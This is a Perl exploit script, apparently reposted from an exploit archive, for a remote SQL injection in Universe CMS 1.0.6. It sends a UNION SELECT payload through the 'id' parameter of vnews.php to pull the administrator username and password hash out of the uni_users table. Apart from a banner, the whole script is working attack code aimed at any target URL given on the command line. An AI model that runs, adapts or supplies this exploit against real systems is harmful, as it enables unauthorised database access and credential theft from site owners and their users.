Home / os / win10

universecms-sql.txt

Posted on 10 July 2009

#!/usr/bin/perl -w
# Universe CMS 1.0.6 (id) Remote SQL Injection Exploit
# Demo : http://www.universe.uni.org.pl
# Download : http://www.universe.uni.org.pl/upload/universecms106.rar
# Found by : Mr.tro0oqy <Yemeni ana>
# E-mail : t.4@windowslive.com
# special thank for my teacher "Stack"
########################################
system("color e");
print "		0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0

";
print "		0  Universe CMS 1.0.6 (id) Remote SQL Injection Exploit   0

";
print "		0                       by Mr.tro0oqy                     0

";
print "		0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0

";
use LWP::UserAgent;
die "Example: perl $0 http://target.com/path 
" unless @ARGV;
$user="login";
$pass="password";
$tab="uni_users";
$b = LWP::UserAgent->new() or die "error
";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/vnews.php?id=-1+union+select+1,2,3,4,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),6+from+".$tab."&print=1";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
print " loading .....
";
print "
[+] Admin User : $1";
}
if ($answer =~/<pass>(.*?)<pass>/)
{
print "
[+] Admin Hash : $1

";
print "		#   %100   #

";}

else
{
print "
[-] Exploit Failed...
";
}

 

TOP